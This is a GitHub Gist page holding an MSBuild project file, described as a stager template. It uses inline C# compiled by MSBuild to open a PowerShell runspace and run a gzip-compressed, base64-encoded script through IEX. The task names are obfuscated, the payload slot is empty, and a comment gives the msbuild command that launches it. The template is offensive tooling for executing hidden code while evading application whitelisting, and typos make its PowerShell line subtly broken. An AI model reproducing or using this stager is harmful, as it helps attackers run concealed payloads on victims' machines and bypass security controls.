Last active
July 16, 2021 21:25
-
-
Save JPMonglis/8dac001b91631b1f577ae30bc6dd52e2 to your computer and use it in GitHub Desktop.
msbuild stager template accepting powershell, compressed in gzip
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- Pass xml to msbuild for compile and execution --> | |
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild filepath\filename.xlm --> | |
<!-- Configure AssemblyFile and pok for that to work --> | |
<Target Name="34rfas"> | |
<QWEridxnaPO /> | |
</Target> | |
<UsingTask | |
TaskName="QWEridxnaPO" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Reference Include="System.Management.Automation" /> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.IO; | |
using System.Diagnostics; | |
using System.Reflection; | |
using System.Runtime.InteropServices; | |
using System.Collections.ObjectModel; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using System.Text; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
public class QWEridxnaPO : Task, ITask { | |
public override bool Execute() { | |
string pok = "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''));IEX (New-Object IO.StreamReader(New_Object IO.Compression.GzipStream($s,[IO.Compressio.CompressionMode]::Decompress))).ReadToEnd()"; | |
Runspace runspace = RunspaceFactory.CreateRunspace(); | |
runspace.Open(); | |
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); | |
Pipeline pipeline = runspace.CreatePipeline(); | |
pipeline.Commands.AddScript(pok); | |
pipeline.Invoke(); | |
runspace.Close(); | |
return true; | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment